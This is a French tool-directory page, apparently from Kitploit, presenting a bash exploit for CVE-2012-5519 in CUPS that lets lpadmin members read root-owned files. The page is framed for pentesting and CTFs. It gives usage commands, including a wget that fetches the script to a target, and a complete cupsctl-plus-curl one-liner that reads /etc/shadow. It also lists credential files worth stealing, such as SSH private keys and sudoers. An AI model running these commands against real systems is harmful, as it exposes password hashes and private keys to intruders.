Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2012-5519 — cups-root-file-read.sh | CVE-2012-5519 | Kitploit
Outils/GitHubGitHub/p1ckzi/cve-2012-5519
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationCollecte d'InformationsCTFTests d'Intrusion
GitHubp1ckzi/cve-2012-5519

CVE-2012-5519

cups-root-file-read.sh | CVE-2012-5519

Voir le dépôt
91il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

cups-root-file-read.sh ⭐

une implémentation bash du module metasploit 'cups_root_file_read.rb' conçue pour le pentest et les CTF.
principalement un court exercice de script bash. conçu pour être un programme autonome qui exploite CVE-2012-5519 sur les systèmes linux;
il fournit à l'utilisateur une invite interactive, lui permettant de lire rapidement plusieurs fichiers restreints.

l'exploit - CVE-2012-5519 ❗

ce script exploite une vulnérabilité dans CUPS (common UNIX printing system) < 1.6.2.
CUPS permet aux utilisateurs du groupe lpadmin de modifier le fichier cupsd.conf, avec la commande cupsctl.
cette commande permet également à l'utilisateur de spécifier un chemin ErrorLog.
lorsque l'utilisateur visite la page '/admin/log/error_log', le démon cupsd s'exécutant avec un SUID root lit le chemin ErrorLog et l'affiche en texte clair.
en bref, les fichiers appartenant à root peuvent être lus si le chemin ErrorLog y pointe.

prérequis ✔

le script effectue un certain nombre de vérifications avant de passer l'invite à l'utilisateur; cependant tous les prérequis comprennent:

  • linux - le script n'a été testé que sur linux et peut ne pas fonctionner sur d'autres systèmes d'exploitation.
  • bash - cups-root-file-read.sh est écrit en bash.
  • curl - (vérifié dans le script) utilisé pour demander la page web. il n'existe actuellement aucune commande alternative d'analyse http intégrée au script comme wget ou nc en raison de contraintes de temps.
  • vulnérable - (vérifié dans le script) quelques vérifications sont effectuées pour s'assurer que la vulnérabilité existe et que l'utilisateur actuel peut l'exploiter, et donc utiliser le script d'exploitation. celles-ci incluent le fait d'être membre du groupe 'lpadmin', si la commande cupsctl est disponible, etc...

utilisation ℹ

il est supposé que le script sera utilisé à des fins d'événements de pentest et de CTF. placez le script sur la machine cible. cela peut être fait de différentes manières. une méthode courante depuis la machine cible:

root@kitploit:~
wget http://[my ip]:[my port]/cups-root-file-read.sh

cups-root-file-read.sh ne nécessite aucun argument ni option mais en possède deux optionnels:

root@kitploit:~
./cups-root-file-read.sh -h

./cups-root-file-read.sh does not require any arguments to run.
it is currently interactive only.
usage: ./cups-root-file-read.sh [-a|--accessible] [-h|--help]
        -a, --accessible: turns off features which may negatively affect
        screen readers.
        -h, --help: prints this dialog message.
after passing all the required checks for the exploit,
the user will be prompted for input.
type in the full path to a file to read it.
eg.
        1. /root/.ssh/id_rsa
        2. /root/.bash_history
        3. /etc/shadow etc...

exécutez-le avec:

root@kitploit:~
bash cups-root-file-read.sh

ou

root@kitploit:~
chmod +x cups-root-file-read.sh

./cups-root-file-read.sh

ou si vous souhaitez lire un seul fichier :

root@kitploit:~
echo '/etc/shadow' | ./cups-root-file-read.sh

après avoir réussi les vérifications initiales de fonctionnalité et de vulnérabilité, l'utilisateur dispose d'une invite lui permettant de saisir le chemin absolu d'un fichier existant. le contenu de chaque fichier sera affiché dans le terminal.

meilleure utilisation:

bien que le script puisse être utilisé pour tester la présence de fichiers restreints et les lire, il est plus utile si l'utilisateur sait déjà quels fichiers restreints il pourrait vouloir consulter. par exemple:

  • /root/.ssh/id_rsa
  • /root/.bash_history
  • /etc/shadow
  • /etc/sudoers ... etc.

limitations ⚠

le script et l'exploit présentent quelques limitations. et pour autant que je sache, le module 'cups_root_file_read.rb' pour metasploit souffre également de ces mêmes limitations.

espaces blancs:

la saisie de l'utilisateur doit être un chemin absolu vers un fichier existant que l'utilisateur souhaite consulter et ne doit contenir aucun espace blanc dans le fichier ou le chemin. cela est dû au fait que la commande cupsctl ne peut pas gérer correctement les caractères d'espacement, même avec des guillemets (par ex. ErrorLog='/path to/file.txt') et séparera la saisie au niveau des espaces blancs en directives distinctes, avec la valeur booléenne 'true'.
l'exemple précédent, s'il était soumis, serait écrit dans le fichier cupsd.conf comme suit:

root@kitploit:~
ErrorLog=/path
to/file.txt=true

cela génère des erreurs qui sont écrites dans le journal d'erreurs, qui peuvent être des fichiers importants s'ils sont spécifiés dans le chemin ErrorLog lors d'une tentative précédente réussie de lecture d'un fichier. Par conséquent, le script vérifie la présence d'espaces blancs et les filtre.


renvoi de codes de statut 404:

malgré des vérifications pour s'assurer que l'utilisateur soumet quelque chose qui ressemble à un chemin absolu et à un fichier, toutes les erreurs ne peuvent pas être interceptées avant d'être transmises au serveur avec la commande cupsctl :
les fichiers existant dans le répertoire racine peuvent être lus (par ex. '/file.txt') mais des répertoires unix courants comme '/tmp' et '/root' peuvent également être soumis (que ce soit volontairement ou par erreur de l'utilisateur). il n'existe aucun contrôle pour ces répertoires système et ils renverront des codes de statut 404 du serveur. l'utilisateur en est informé.
les répertoires inexistants spécifiés dans le chemin (par ex. '/tmp/non-existent-directory/file.txt') entraîneront également le renvoi d'un code de statut 404 par le serveur.


fichiers vides:

essayer de consulter des fichiers inexistants (par ex. '/root/non-existent-file.txt') entraînera leur création en tant que nouveau journal d'erreurs. l'utilisateur en est informé dans la sortie et que le fichier vide a pu être créé par le script d'exploitation s'il n'était pas déjà présent auparavant. il est toujours possible que ces fichiers vides aient été créés par un utilisateur système pour quelque raison que ce soit à peu près au même moment où le script a été exécuté, et ils ne sont donc pas supprimés.

bien que linux dispose de commandes pour tester si un fichier ou un répertoire existe, cette fonctionnalité n'a pas été implémentée dans le script avant que la saisie de l'utilisateur ne soit transmise à la commande cupsctl, car les commandes de test ne fonctionnent pas si un fichier ou un répertoire existe dans un endroit interdit à l'utilisateur actuel (par ex. '/root') pour des raisons de sécurité évidentes. puisque le script est conçu pour lire de tels fichiers interdits, une telle fonctionnalité serait inutile.


erreurs cups:

des erreurs cupsctl peuvent parfois survenir lors de modifications, soit manuellement, soit via cups-root-file-read.sh. bien que cups-root-file-read.sh gère les saisies utilisateur inhabituelles et certaines erreurs, ces erreurs cupsctl qui surviennent lors de modifications du fichier cupsd.conf ou lors de la demande de la page web ne sont pas gérées. cups-root-file-read.sh se contentera de quitter. dans ces cas, le script peut être relancé et une nouvelle tentative peut être effectuée.


notes 📝

le script était principalement un exercice de création d'un programme court, complet et autonome pour un exploit unique, en gardant à l'esprit à la fois la lisibilité et l'accessibilité.

le script est destiné à tester la présence de CVE-2012-5519 puis à lire rapidement et facilement plusieurs fichiers restreints pendant l'exploitation. à cette fin, je pense qu'il est nettement plus rapide que le module metasploit et que la saisie d'une commande manuelle, et de la modifier à plusieurs reprises (je l'espère). mais cela dit, si l'utilisateur sait que la machine cible est vulnérable, le même résultat peut être obtenu avec quelque chose comme:

root@kitploit:~
cupsctl ErrorLog=/etc/shadow WebInterface=Yes && curl 'http://localhost:631/admin/log/error_log'

en 2022, cet exploit a 10 ans. si la machine cible est également ancienne, il est possible que les versions des différentes commandes utilisées dans le script n'aient pas les fonctionnalités qu'elles ont aujourd'hui. cela pourrait également s'appliquer à la version de bash. malheureusement, j'ai été limité par le temps et je n'ai pas pu tester le script dans un plus large éventail d'environnements. il peut être plus utile pour les CTF.

à l'origine, le script devait être créé avec python3, mais j'ai rencontré un certain nombre de cas où python2 et python3 n'étaient pas disponibles pour l'utilisateur après avoir obtenu l'accès à un système en tant qu'utilisateur non privilégié. bash est presque toujours disponible sur un système linux ainsi que les commandes linux courantes, donc une implémentation bash semblait être l'option la plus sûre.

les commandes internes de bash sont utilisées autant que possible, cependant le script repose sur des commandes externes telles que sort, head et curl (et bien sûr cupsctl utilisé dans le cadre de l'exploit). il n'y a actuellement aucune vérification pour ces commandes et aucune alternative en raison de contraintes de temps. le script échouera si ces commandes ne sont pas disponibles :(

crédits 👍

https://argbash.io - pour l'aide avec les arguments initiaux du script.
https://skerritt.blog/a11y/ - implémentation de l'accessibilité.

Télécharger l’outil